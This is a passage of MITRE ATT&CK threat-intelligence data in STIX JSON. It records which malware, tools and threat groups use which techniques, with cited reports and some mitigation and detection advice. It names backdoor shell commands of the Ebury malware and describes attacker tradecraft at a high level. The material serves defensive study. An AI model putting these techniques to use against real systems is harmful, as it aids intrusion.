2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09266cb7-26b3-4959-bcff-a91e309b5588","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky OilRig Jan 2017","description":"ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.","url":"http://www.clearskysec.com/oilrig/"}],"modified":"2020-03-28T21:35:13.824Z","description":"[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.(Citation: ClearSky OilRig Jan 2017)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0927eb00-4a08-4ed1-8678-84d6e1e87b98","type":"relationship","created":"2020-03-15T16:03:39.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T17:15:35.606Z","description":"Consider filtering network traffic to untrusted or known bad domains and resources. ","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0929a479-8ece-4c24-a97f-4da7e33d3c2f","created":"2024-09-10T17:08:01.694Z","revoked":false,"external_references":[{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T17:08:01.694Z","description":"[Ebury](https://attack.mitre.org/software/S0377) can use the commands `Xcsh` or `Xcls` to open a shell with [Ebury](https://attack.mitre.org/software/S0377) level permissions and `Xxsh` to open a shell with root level.(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--092ae5be-2a12-46ff-8122-2e308d954401","type":"relationship","created":"2021-09-28T20:53:37.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-28T20:53:37.671Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) has used DropBox for C2 communications.(Citation: Checkpoint IndigoZebra July 2021) ","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--092b3643-670d-447c-b05d-f7a54a945412","type":"relationship","created":"2019-04-23T16:12:37.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.944Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate network adapter information.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--092ea2a0-c8f5-409f-b391-119f3446e63c","created":"2022-06-09T20:40:33.806Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has injected its DLL component into `EhStorAurhn.exe`.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:40:33.806Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0930ad61-cdf2-451f-bdfe-5c644c3a97c8","created":"2024-06-06T17:35:15.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Bleeping Computer INC Ransomware March 2024","description":"Toulas, B. (2024, March 27). INC Ransom threatens to leak 3TB of NHS Scotland stolen data. Retrieved June 5, 2024.","url":"https://www.bleepingcomputer.com/news/security/inc-ransom-threatens-to-leak-3tb-of-nhs-scotland-stolen-data/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:55:40.486Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has stolen and encrypted victim's data in order to extort payment for keeping it private or decrypting it.(Citation: Cybereason INC Ransomware November 2023)(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0930d98a-d8ae-4300-a50b-8a80b06e88e9","created":"2021-12-27T16:53:14.020Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has sent malicious links to victims through email campaigns.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-07T21:13:45.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0932a662-4bd8-4b8b-883a-480272280a18","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior, such as establishing network connections.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09381138-b93b-4b0d-b82d-c21d452ff514","type":"relationship","created":"2020-05-11T17:51:01.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Group IB RTM August 2019","url":"https://www.group-ib.com/blog/rtm","description":"Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:50.406Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has used Registry run keys to establish persistence for the [RTM](https://attack.mitre.org/software/S0148) Trojan and other tools, such as a modified version of TeamViewer remote desktop software.(Citation: ESET RTM Feb 2017)(Citation: Group IB RTM August 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--093bc793-3edd-4096-bd7b-aeb5c855128b","type":"relationship","created":"2021-04-13T12:59:00.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}],"modified":"2021-04-13T12:59:00.810Z","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to list files and file characteristics including extension, size, ownership, and permissions.(Citation: ANSSI Sandworm January 2021)","relationship_type":"uses","source_ref":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--093f8796-b394-490b-8048-115f4ee32959","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T15:11:05.984Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SecureWorks BRONZE UNION June 2017","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","url":"https://www.secureworks.com/research/bronze-union"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.076Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used CVE-2014-6324 and CVE-2017-0213 to escalate privileges.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--094a2284-eeab-47fd-b6fb-6351d98330aa","created":"2020-11-06T18:40:38.198Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."},{"source_name":"cobaltstrike manual","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.(Citation: cobaltstrike manual)(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:31:51.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09505cc8-8e0f-4283-9329-df2bea12867c","type":"relationship","created":"2021-07-02T14:39:07.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:40:30.230Z","description":"The file collection tool used by [RainyDay](https://attack.mitre.org/software/S0629) can utilize native API including ReadDirectoryChangeW for folder monitoring.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09583053-9fab-47bb-b07c-76d75cbb5c30","created":"2022-03-15T19:56:31.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Proofpoint TA427 April 2024","description":"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.408Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created email accounts for phishing operations.(Citation: KISA Operation Muzabi)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09585362-e286-4854-b987-69490dfac965","created":"2024-03-29T04:33:47.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PenTestLabs AppDomainManagerInject","description":"Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.","url":"https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"},{"source_name":"Rapid7 AppDomain Manager Injection","description":"Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.","url":"https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-28T15:50:35.140Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of .NET assemblies into processes (which may not always create standard image load events).\n\nLook for image loads that are not recognized or not normally loaded into a process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: Rapid7 AppDomain Manager Injection)","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--095a259d-79c7-42b0-b65a-e423f110d187","created":"2019-03-26T19:23:02.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Emotet Jan 2019","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T16:16:32.254Z","description":"[Emotet](https://attack.mitre.org/software/S0367) is known to use RSA keys for encrypting C2 traffic. (Citation: Trend Micro Emotet Jan 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--095bfdd3-2379-4cad-bef4-53e8bdd08a75","created":"2020-11-06T18:40:37.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.835Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154)'s Beacon payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--095d2af9-dca4-4a7a-b22e-e37923e7c43c","type":"relationship","created":"2019-03-11T17:18:27.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-04-09T14:46:59.590Z","description":"[Empire](https://attack.mitre.org/software/S0363) leverages PowerShell for the majority of its client-side agent tasks. [Empire](https://attack.mitre.org/software/S0363) also contains the ability to conduct PowerShell remoting with the Invoke-PSRemoting module.(Citation: Github PowerShell Empire)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--095d33b5-523d-40ae-aad9-448910d527d3","created":"2022-10-13T14:46:14.674Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:46:14.674Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has been named `wuauclt.exe` to appear as the legitimate Windows Update AutoUpdate Client.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--095e5f7b-288c-4995-8045-b691602d38c9","type":"relationship","created":"2020-02-10T20:43:10.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T19:23:37.972Z","description":"Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--095f6266-2535-4991-ad6b-64388513d6e7","type":"relationship","created":"2019-09-16T19:41:10.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.098Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) will decode malware components that are then dropped to the system.(Citation: Security Intelligence More Eggs Aug 